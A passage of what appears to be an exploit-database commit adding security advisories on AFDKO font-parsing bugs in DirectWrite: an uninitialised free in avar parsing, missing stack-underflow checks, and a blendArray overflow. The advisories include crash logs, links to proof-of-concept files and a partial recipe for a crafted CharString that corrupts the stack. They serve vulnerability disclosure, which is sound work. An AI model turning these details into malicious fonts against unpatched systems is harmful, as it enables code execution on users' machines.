--- cut ---
|
||||
297 if (table->length < AVAR_TABLE_HEADER_SIZE + (unsigned long)AVAR_SEGMENT_MAP_SIZE * avar->axisCount) {
|
||||
298 sscb->message(sscb, "invalid avar table size or axis/instance count/size");
|
||||
299 goto cleanup;
|
||||
300 }
|
||||
301
|
||||
302 dnaINIT(sscb->dna, avar->segmentMaps, 0, 1);
|
||||
303 if (dnaSetCnt(&avar->segmentMaps, DNA_ELEM_SIZE_(avar->segmentMaps), avar->axisCount) < 0)
|
||||
304 goto cleanup;
|
||||
[...]
|
||||
311 if (table->length < sscb->tell(sscb) - table->offset + AVAR_AXIS_VALUE_MAP_SIZE * seg->positionMapCount) {
|
||||
312 sscb->message(sscb, "avar axis value map out of bounds");
|
||||
313 goto cleanup;
|
||||
314 }
|
||||
315
|
||||
316 dnaINIT(sscb->dna, seg->valueMaps, 0, 1);
|
||||
317 if (dnaSetCnt(&seg->valueMaps, DNA_ELEM_SIZE_(seg->valueMaps), seg->positionMapCount) < 0)
|
||||
318 goto cleanup;
|
||||
--- cut ---
|
||||
|
||||
which leads to freeing the entire "avar" object:
|
||||
|
||||
--- cut ---
|
||||
339 cleanup:;
|
||||
340 HANDLER
|
||||
341 END_HANDLER
|
||||
342
|
||||
343 if (!success) {
|
||||
344 var_freeavar(sscb, avar);
|
||||
345 avar = 0;
|
||||
346 }
|
||||
--- cut ---
|
||||
|
||||
When a parsing error occurs, the object may be only partially initialized. However, the var_freeavar() function doesn't take it into account and unconditionally attempts to free all value maps lists inside of all segment maps lists:
|
||||
|
||||
--- cut ---
|
||||
255 static void var_freeavar(ctlSharedStmCallbacks *sscb, var_avar avar) {
|
||||
256 if (avar) {
|
||||
257 unsigned short i;
|
||||
258
|
||||
259 for (i = 0; i < avar->axisCount; i++) {
|
||||
260 dnaFREE(avar->segmentMaps.array[i].valueMaps);
|
||||
261 }
|
||||
262 dnaFREE(avar->segmentMaps);
|
||||
263
|
||||
264 sscb->memFree(sscb, avar);
|
||||
265 }
|
||||
266 }
|
||||
--- cut ---
|
||||
|
||||
In the code above, the data under avar->segmentMaps.array[i].valueMaps may be uninitialized. The dnaFREE() call translates to (source/dynarr/dynarr.c):
|
||||
|
||||
--- cut ---
|
||||
178 /* Free dynamic array object. */
|
||||
179 void dnaFreeObj(void *object) {
|
||||
180 dnaGeneric *da = (dnaGeneric *)object;
|
||||
181 if (da->size != 0) {
|
||||
182 dnaCtx h = da->ctx;
|
||||
183 h->mem.manage(&h->mem, da->array, 0);
|
||||
184 da->size = 0;
|
||||
185 }
|
||||
186 }
|
||||
--- cut ---
|
||||
|
||||
In line 183, the "h" pointer contains uninitialized bytes. As it is used to fetch a function pointer to call, the condition is a serious security vulnerability. However, it is important to note that the implementation of dynamic arrays in AFDKO relies on an external memory allocator provided by the library user, and so, the feasibility of exploitation may also depend on it. For example, the allocator in Microsoft DirectWrite returns zero-ed out memory, making the bug currently non-exploitable through that attack vector.
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
The proof of concept file triggers the bug by declaring avar->axisCount as 1 and having seg->positionMapCount set to 0xffff. This causes the following sanity check to fail, leading to a crash while freeing resources:
|
||||
|
||||
--- cut ---
|
||||
311 if (table->length < sscb->tell(sscb) - table->offset + AVAR_AXIS_VALUE_MAP_SIZE * seg->positionMapCount) {
|
||||
312 sscb->message(sscb, "avar axis value map out of bounds");
|
||||
313 goto cleanup;
|
||||
314 }
|
||||
--- cut ---
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
A crash log from the "tx" tool (part of AFDKO) compiled with AddressSanitizer, run as ./tx -cff <path to font file>:
|
||||
|
||||
--- cut ---
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0x00000000007df58c in dnaFreeObj (object=0x606000000208) at ../../../../../source/dynarr/dynarr.c:183
|
||||
183 h->mem.manage(&h->mem, da->array, 0);
|
||||
(gdb) where
|
||||
#0 0x00000000007df58c in dnaFreeObj (object=0x606000000208) at ../../../../../source/dynarr/dynarr.c:183
|
||||
#1 0x00000000007e399a in var_freeavar (sscb=0x62a000004fa8, avar=0x6060000001a0) at ../../../../../source/varread/varread.c:260
|
||||
#2 0x00000000007e37be in var_loadavar (sfr=0x614000000240, sscb=0x62a000004fa8) at ../../../../../source/varread/varread.c:344
|
||||
#3 0x00000000007dfb5d in var_loadaxes (sfr=0x614000000240, sscb=0x62a000004fa8) at ../../../../../source/varread/varread.c:484
|
||||
#4 0x0000000000527f74 in cfrBegFont (h=0x62a000000200, flags=4, origin=0, ttcIndex=0, top=0x62c000000238, UDV=0x0)
|
||||
at ../../../../../source/cffread/cffread.c:2681
|
||||
#5 0x000000000050928e in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
|
||||
#6 0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf1f "poc.otf")
|
||||
at ../../../../source/tx.c:429
|
||||
#7 0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf1f "poc.otf")
|
||||
at ../../../../source/tx.c:488
|
||||
#8 0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:558
|
||||
#9 0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:1631
|
||||
(gdb) print h
|
||||
$1 = (dnaCtx) 0xbebebebebebebebe
|
||||
(gdb)
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47090.zip
|
177
exploits/windows/dos/47091.txt
Normal file
177
exploits/windows/dos/47091.txt
Normal file
|
@ -0,0 +1,177 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
The afdko/c/public/lib/source/t2cstr/t2cstr.c file in AFDKO implements the Type 2 CharString interpreter for OpenType fonts. The interpreter stack is represented by the following structure in the t2cCtx object:
|
||||
|
||||
--- cut ---
|
||||
70 struct /* Operand stack */
|
||||
71 {
|
||||
72 long cnt;
|
||||
73 float array[CFF2_MAX_OP_STACK];
|
||||
74 unsigned short numRegions;
|
||||
75 long blendCnt;
|
||||
76 abfOpEntry blendArray[CFF2_MAX_OP_STACK];
|
||||
77 abfBlendArg blendArgs[T2_MAX_STEMS];
|
||||
78 } stack;
|
||||
--- cut ---
|
||||
|
||||
Values are popped off the stack in the instruction handlers in t2Decode() using the POP() macro:
|
||||
|
||||
--- cut ---
|
||||
152 #define POP() (h->stack.array[--h->stack.cnt])
|
||||
--- cut ---
|
||||
|
||||
As the macro assumes that the stack is non-empty, another macro in the form of CHKUFLOW() is required to verify this requirement:
|
||||
|
||||
--- cut ---
|
||||
137 /* Check stack contains at least n elements. */
|
||||
138 #define CHKUFLOW(h, n) \
|
||||
139 do { \
|
||||
140 if (h->stack.cnt < (n)) return t2cErrStackUnderflow; \
|
||||
141 } while (0)
|
||||
--- cut ---
|
||||
|
||||
As a result, it is essential for the interpreter's memory safety to invoke CHKUFLOW() with an appropriate "n" argument before using POP() the corresponding number of times. In a majority of cases, the interpreter operates on the stack correctly; however, we have found several instances where the CHKUFLOW() calls are missing. The problems were identified in the handling of the following instructions:
|
||||
|
||||
- tx_callgrel
|
||||
- tx_rmoveto
|
||||
- tx_vmoveto
|
||||
- tx_hmoveto
|
||||
- tx_SETWVN
|
||||
|
||||
For example, the handler of the "rmoveto" instruction is shown below:
|
||||
|
||||
--- cut ---
|
||||
1484 case tx_rmoveto:
|
||||
1485 if (callbackWidth(h, 1))
|
||||
1486 return t2cSuccess;
|
||||
1487 {
|
||||
1488 float y = POP();
|
||||
1489 float x = POP();
|
||||
1490 if ((h->flags & IS_CFF2) && (h->glyph->moveVF != NULL))
|
||||
1491 popBlendArgs2(h, &INDEX_BLEND(0), &INDEX_BLEND(1));
|
||||
1492 callbackMove(h, x, y);
|
||||
1493 }
|
||||
1494 break;
|
||||
--- cut ---
|
||||
|
||||
It's clear that the two POP() invocations in lines 1488 and 1489 are not preceded by CHKUFLOW(). Such bugs may have two kinds of security-relevant consequences:
|
||||
|
||||
1. Out-of-bounds data is read and used as arguments to the affected instructions,
|
||||
2. The stack index becomes negative, which could facilitate overwriting memory residing directly before the stack array.
|
||||
|
||||
In this particular case, the stack counter itself is placed before the stack array. This means that consequence #1 is not really a problem as the out-of-bounds data is initialized and its value is known to the attacker. As for item #2 -- an attack would require the CharString execution loop to continue to the next instruction while preserving the negative value of h->stack.cnt. For the rmoveto, vmoveto and hmoveto instructions, the stack counter is reset back to 0 in line 2303, because their handlers end with a "break;" statement:
|
||||
|
||||
--- cut ---
|
||||
2301 } /* End: switch (byte0) */
|
||||
2302 clearBlendStack(h);
|
||||
2303 h->stack.cnt = 0; /* Clear stack */
|
||||
2304 } /* End: while (cstr < end) */
|
||||
--- cut ---
|
||||
|
||||
This leaves us with callgrel and SETWVN. In both cases, the out-of-bounds argument would have to be valid in the context of those instructions in order for them to not return with an error. Due to the fact that the POP() macro first decrements h->stack.cnt and then reads from h->stack.array[h->stack.cnt], the value read will always be 0xffffffff, interpreted as a float. A 32-bit float with a binary representation of 0xffffffff (which translates to NaN) takes the value of 0x80000000 when cast to an integer. According to our analysis, it is impossible for 0x80000000 to act as a valid subroutine index (in case of callgrel) or number of cube axes (in case of SETWVN). As a result, the handlers will return an error in the following locations before another instruction can execute with the negative stack index:
|
||||
|
||||
--- cut ---
|
||||
1298 long num = unbiasLE((long)POP(), h->aux->gsubrs.cnt);
|
||||
1299 if (num == -1)
|
||||
1300 return t2cErrCallgsubr;
|
||||
--- cut ---
|
||||
|
||||
and:
|
||||
|
||||
--- cut ---
|
||||
1913 int numAxes = (int)POP();
|
||||
1914 result = do_set_weight_vector_cube(h, numAxes);
|
||||
1915 if (result || !(h->flags & FLATTEN_CUBE))
|
||||
1916 return result;
|
||||
--- cut ---
|
||||
|
||||
In summary, the missing CHKUFLOW() instances currently seem non-exploitable due to coincidental memory layout, conversions between data types and the semantics of the affected instructions. On the other hand, if only one of the above conditions changed in the future, these issues could become trivially exploitable by making it possible to overwrite t2cCtx.stack.cnt with an arbitrary value, thus potentially enabling arbitrary relative reads/writes on the native stack. We therefore recommend fixing the bugs despite the current exploitability assessment.
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
The proof of concept file contains a CharString for glyph "A" which consists only of one instruction, rmoveto. When the instruction executes, the interpreter stack is empty, so it picks up the arguments from h->stack.array[-1] and h->stack.array[-2], demonstrating the bug.
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
It seems impossible to craft a font file which crashes a regular build of the CharString interpreter. However, we have patched the t2cstr.c source code to insert AddressSanitizer redzones in between the various arrays in the t2cCtx structure. A "tx" program compiled with this patch and started with a ./tx -cff poc.otf command crashes with the following report:
|
||||
|
||||
--- cut ---
|
||||
=================================================================
|
||||
==122021==ERROR: AddressSanitizer: use-after-poison on address 0x7fffd5a9364c at pc 0x00000067a35c bp 0x7fffd5a8fc30 sp 0x7fffd5a8fc28
|
||||
READ of size 4 at 0x7fffd5a9364c thread T0
|
||||
#0 0x67a35b in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1488:31
|
||||
#1 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
|
||||
#2 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
|
||||
#3 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
|
||||
#4 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18
|
||||
#5 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#6 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
|
||||
#9 0x7f6a599042b0 in __libc_start_main
|
||||
#10 0x41e5b9 in _start
|
||||
|
||||
Address 0x7fffd5a9364c is located in stack of thread T0 at offset 76 in frame
|
||||
#0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523
|
||||
|
||||
This frame has 2 object(s):
|
||||
[32, 757896) 'h' (line 2524) <== Memory access at offset 76 is inside this variable
|
||||
[758160, 758376) 'Exception' (line 2586)
|
||||
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
|
||||
(longjmp and C++ exceptions *are* supported)
|
||||
SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:1488:31 in t2Decode
|
||||
Shadow bytes around the buggy address:
|
||||
0x10007ab4a670: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x10007ab4a680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x10007ab4a690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x10007ab4a6a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x10007ab4a6b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
=>0x10007ab4a6c0: f1 f1 f1 f1 00 00 f7 f7 f7[f7]00 00 00 00 00 00
|
||||
0x10007ab4a6d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x10007ab4a6e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x10007ab4a6f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x10007ab4a700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x10007ab4a710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
Shadow gap: cc
|
||||
==122021==ABORTING
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47091.zip
|
207
exploits/windows/dos/47092.txt
Normal file
207
exploits/windows/dos/47092.txt
Normal file
|
@ -0,0 +1,207 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
The afdko/c/public/lib/source/t2cstr/t2cstr.c file in AFDKO implements the Type 2 CharString interpreter for OpenType fonts. The interpreter stack is represented by the following structure in the t2cCtx object:
|
||||
|
||||
--- cut ---
|
||||
70 struct /* Operand stack */
|
||||
71 {
|
||||
72 long cnt;
|
||||
73 float array[CFF2_MAX_OP_STACK];
|
||||
74 unsigned short numRegions;
|
||||
75 long blendCnt;
|
||||
76 abfOpEntry blendArray[CFF2_MAX_OP_STACK];
|
||||
77 abfBlendArg blendArgs[T2_MAX_STEMS];
|
||||
78 } stack;
|
||||
--- cut ---
|
||||
|
||||
The "cnt" and "array" fields correspond to the regular stack used by all kinds of OpenType fonts. The remaining fields only have a purpose in the handling of the new CFF2 format (variable fonts). Whenever a new value is pushed on the stack, it is written to array[] and optionally blendArray[], as seen in the definition of the PUSH() macro:
|
||||
|
||||
--- cut ---
|
||||
153 #define PUSH(v) \
|
||||
154 { \
|
||||
155 if (h->aux->flags & T2C_IS_CFF2) h->stack.blendArray[h->stack.blendCnt++].value = (float)(v); \
|
||||
156 h->stack.array[h->stack.cnt++] = (float)(v); \
|
||||
157 }
|
||||
--- cut ---
|
||||
|
||||
However, the reverse POP() macro only pops a value from the main stack, and doesn't touch blendCnt/blendArray:
|
||||
|
||||
--- cut ---
|
||||
152 #define POP() (h->stack.array[--h->stack.cnt])
|
||||
--- cut ---
|
||||
|
||||
This assymetry creates the following problem: there are CFF instructions such as the arithmetic ones, which take values from the top of the stack, use them as factors in some operation, and push the result back. More formally, they pop N values and push back M values, where N != 0, M != 0, N >= M. After executing such an instruction, the stack index is smaller or equal to its previous value.
|
||||
|
||||
Because of this, the interpreter doesn't need to check for stack overflow (use the CHKOFLOW macro), and instead must only check if there are enough input values on the stack (with CHKUFLOW). Examples of such behavior are shown below:
|
||||
|
||||
--- cut ---
|
||||
1616 case tx_abs:
|
||||
1617 CHKUFLOW(h, 1);
|
||||
1618 {
|
||||
1619 float a = POP();
|
||||
1620 PUSH((a < 0.0f) ? -a : a);
|
||||
1621 }
|
||||
1622 continue;
|
||||
1623 case tx_add:
|
||||
1624 CHKUFLOW(h, 2);
|
||||
1625 {
|
||||
1626 float b = POP();
|
||||
1627 float a = POP();
|
||||
1628 PUSH(a + b);
|
||||
1629 }
|
||||
1630 continue;
|
||||
--- cut ---
|
||||
|
||||
However, this approach is only valid if the PUSH/POP operations are fully symmetric. In the current state of the code, the execution of each such instruction increments the blendCnt counter without verifying if it goes out-of-bounds. By executing many such instructions in a variable font, it possible to overflow blendArray[] and corrupt the memory after it, including other fields of the t2cCtx object and further data stored on the thread's native stack. This may eventually lead to arbitrary code execution.
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
The proof of concept file includes a specially crafted CharString for glyph "A" of the format:
|
||||
|
||||
--- cut ---
|
||||
1621139584 134217728 div dup exch exch exch exch exch ...
|
||||
--- cut ---
|
||||
|
||||
The initial four instructions craft two floats on the stack with a binary representation of 0x41414141. The remaining part of the program is the "exch" instruction repeated 30000 times, which keeps the number of elements on the regular stack at 2 (by just continuously exchanging them), while filling out the t2cCtx.stack.blendArray array with more and more data until it is overflown.
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
A 64-bit "tx" utility compiled with AddressSanitizer and a custom patch to insert ASAN redzones in between the t2cCtx structure fields crashes with the following report, when run as ./tx -cff poc.otf:
|
||||
|
||||
--- cut ---
|
||||
=================================================================
|
||||
==158130==ERROR: AddressSanitizer: use-after-poison on address 0x7ffc38744c30 at pc 0x000000682b20 bp 0x7ffc3873e950 sp 0x7ffc3873e948
|
||||
WRITE of size 4 at 0x7ffc38744c30 thread T0
|
||||
#0 0x682b1f in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1729:33
|
||||
#1 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
|
||||
#2 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
|
||||
#3 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
|
||||
#4 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18
|
||||
#5 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#6 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
|
||||
#9 0x7fc9e2d372b0 in __libc_start_main
|
||||
#10 0x41e5b9 in _start
|
||||
|
||||
Address 0x7ffc38744c30 is located in stack of thread T0 at offset 10512 in frame
|
||||
#0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523
|
||||
|
||||
This frame has 2 object(s):
|
||||
[32, 757896) 'h' (line 2524) <== Memory access at offset 10512 is inside this variable
|
||||
[758160, 758376) 'Exception' (line 2586)
|
||||
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
|
||||
(longjmp and C++ exceptions *are* supported)
|
||||
SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:1729:33 in t2Decode
|
||||
Shadow bytes around the buggy address:
|
||||
0x1000070e0930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x1000070e0940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x1000070e0950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x1000070e0960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x1000070e0970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
=>0x1000070e0980: 00 00 00 00 00 00[f7]f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x1000070e0990: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x1000070e09a0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x1000070e09b0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x1000070e09c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x1000070e09d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
Shadow gap: cc
|
||||
==158130==ABORTING
|
||||
--- cut ---
|
||||
|
||||
The same "tx" program compiled without instrumentation crashes when reaching the end of the stack while still trying to write more data to blendArray. The 0x41414141 values written all over the stack can be seen in gdb's corrupted stack trace listing.
|
||||
|
||||
--- cut ---
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0x00000000004603b4 in t2Decode (h=0x7ffffff60188, offset=23552) at ../../../../../source/t2cstr/t2cstr.c:1730
|
||||
1730 PUSH(a);
|
||||
(gdb) info reg $rax $rsp
|
||||
rax 0x7ffffffff008 140737488351240
|
||||
rsp 0x7ffffff5fd60 0x7ffffff5fd60
|
||||
(gdb) p/x $xmm0
|
||||
$1 = {v4_float = {0xc, 0x0, 0x0, 0x0}, v2_double = {0x0, 0x0}, v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x0 <repeats 12 times>}, v8_int16 = {0x4141, 0x4141,
|
||||
0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x41414141, 0x0, 0x0, 0x0}, v2_int64 = {0x41414141, 0x0}, uint128 = 0x00000000000000000000000041414141}
|
||||
(gdb) where
|
||||
#0 0x00000000004603b4 in t2Decode (h=0x7ffffff60188, offset=23552) at ../../../../../source/t2cstr/t2cstr.c:1730
|
||||
#1 0x000000000045cb26 in t2cParse (offset=1094795585, endOffset=83566, aux=0x41414141, gid=2, cff2=0x41414141, glyph=0x6fd6e8, mem=0x7150b8)
|
||||
at ../../../../../source/t2cstr/t2cstr.c:2591
|
||||
#2 0x0000000041414141 in ?? ()
|
||||
#3 0x00000000007150b8 in ?? ()
|
||||
#4 0x0000000041414141 in ?? ()
|
||||
#5 0x00007fffffffd620 in ?? ()
|
||||
#6 0x0000000041414141 in ?? ()
|
||||
#7 0xfffffffffffffffc in ?? ()
|
||||
#8 0x0000000041414141 in ?? ()
|
||||
#9 0x0000000000474840 in ?? () at ../../../../../source/tx_shared/tx_shared.c:4891
|
||||
#10 0x0000000041414141 in ?? ()
|
||||
(gdb) print h->stack.blendCnt
|
||||
$2 = 40551
|
||||
--- cut ---
|
||||
|
||||
The Microsoft Edge renderer process crashes while trying to dereference a partially overwritten h->aux pointer:
|
||||
|
||||
--- cut ---
|
||||
(51fc.496c): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
DWrite!t2Decode+0x119c:
|
||||
00007ffb`29e82710 f60080 test byte ptr [rax],80h ds:000001d3`41414141=??
|
||||
0:038> k
|
||||
# Child-SP RetAddr Call Site
|
||||
00 0000006a`3df8b9e0 00007ffb`29e84a62 DWrite!t2Decode+0x119c
|
||||
01 0000006a`3df8bb20 00007ffb`29e6c103 DWrite!t2cParse+0x28e
|
||||
02 0000006a`3df9b480 00007ffb`29e6e3f7 DWrite!readGlyph+0x12b
|
||||
03 0000006a`3df9b4f0 00007ffb`29e62272 DWrite!cfrIterateGlyphs+0x37
|
||||
04 0000006a`3df9b540 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x19a
|
||||
05 0000006a`3df9ba40 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
|
||||
06 0000006a`3df9bc20 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
|
||||
07 0000006a`3df9be40 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
|
||||
08 0000006a`3df9c1a0 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
|
||||
09 0000006a`3df9c230 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
|
||||
